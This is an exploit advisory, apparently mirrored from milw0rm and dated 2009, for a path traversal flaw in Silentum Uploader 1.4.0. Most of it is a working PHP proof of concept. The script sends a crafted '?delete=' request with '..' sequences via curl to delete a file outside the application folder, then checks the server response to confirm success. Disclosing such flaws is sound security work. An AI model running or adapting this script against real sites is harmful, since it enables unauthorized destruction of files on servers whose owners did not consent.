49 lines
No EOL
1.5 KiB
PHP
49 lines
No EOL
1.5 KiB
PHP
Vendor: http://hypersilence.net
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Version(s): Silentum Uploader 1.4.0 (May also affect earlier versions)
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Credit: Danny Moules
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Critical: Yes
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See PUSH 55 Advisory at http://www.push55.co.uk/advisories.php?id=2
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----
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Due to insufficient validation of client-side data, we can alter the path of files to be deleted to a file outside the intended directory.
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The following PoC will delete a file named 'secret.txt' one level above the application folder.
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You must have already uploaded a file or you can visit APPLICATIONFOLDER/upload_log.txt (on a default installation) to ascertain the name of existing files.
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---
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<?php
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$strExistingFile = "files/secret.txt"; //Must exist, resides in /files by default
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$strToDelete = "\..\..\..\secret.txt"; //Designates 'secret.txt', sat one level above the application folder, for deletion
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$strUploadScript = "http://www.example.com/uploader/upload.php";
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$objCurl = curl_init();
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curl_setopt($objCurl, CURLOPT_URL, $strUploadScript."?delete=".$strExistingFile.$strToDelete);
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curl_setopt($objCurl, CURLOPT_RETURNTRANSFER, true);
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$strDump = curl_exec($objCurl);
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curl_close($objCurl);
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if(strpos($strDump, "No such file or directory") !== false)
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{
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echo("$strToDelete didn't exist. \n");
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}
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else if(strpos($strDump, "Permission denied") !== false)
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{
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echo("Permission was denied when deleting $strToDelete. \n");
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}
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else if(strpos($strDump, "function.unlink") !== false)
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{
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echo("An unexpected error occured when deleting $strToDelete. \n");
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}
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else
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{
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echo("Looks as though deletion of $strToDelete was successful.\n");
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}
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?>
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# milw0rm.com [2009-01-11]
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